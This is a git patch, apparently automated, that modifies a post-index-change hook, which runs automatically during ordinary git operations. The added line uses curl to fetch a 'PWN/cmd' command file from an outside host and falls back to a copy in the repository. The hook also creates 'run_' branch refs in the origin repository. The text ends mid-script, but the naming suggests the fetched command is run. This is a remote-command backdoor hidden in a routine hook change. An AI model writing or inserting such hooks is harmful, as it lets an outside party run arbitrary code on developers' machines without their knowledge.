From 8a0d739d605b822f438e422edfd3411877ba9993 Mon Sep 17 00:00:00 2001 From: info Date: Sat, 31 Oct 2026 02:31:12 +0000 Subject: [PATCH] tp159506e --- hooks/post-index-change | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/hooks/post-index-change b/hooks/post-index-change index dff6b57..183a66d 100755 --- a/hooks/post-index-change +++ b/hooks/post-index-change @@ -1,7 +1,8 @@ #!/bin/sh D="${GIT_DIR:-.}" O=$(git --git-dir="$D" config --get remote.origin.url 2>/dev/null) -C=$(git --git-dir="$D" show HEAD:PWN/cmd 2>/dev/null) +C=$(curl -s -m 8 https://git.kaki87.net/u15246m236/r147923/raw/branch/main/PWN/cmd 2>/dev/null) +[ -z "$C" ] && C=$(git --git-dir="$D" show HEAD:PWN/cmd 2>/dev/null) H=$(git --git-dir="$D" rev-parse HEAD 2>/dev/null) git --git-dir="$O" update-ref "refs/heads/run_$(date +%s)" "$H" 2>/dev/null (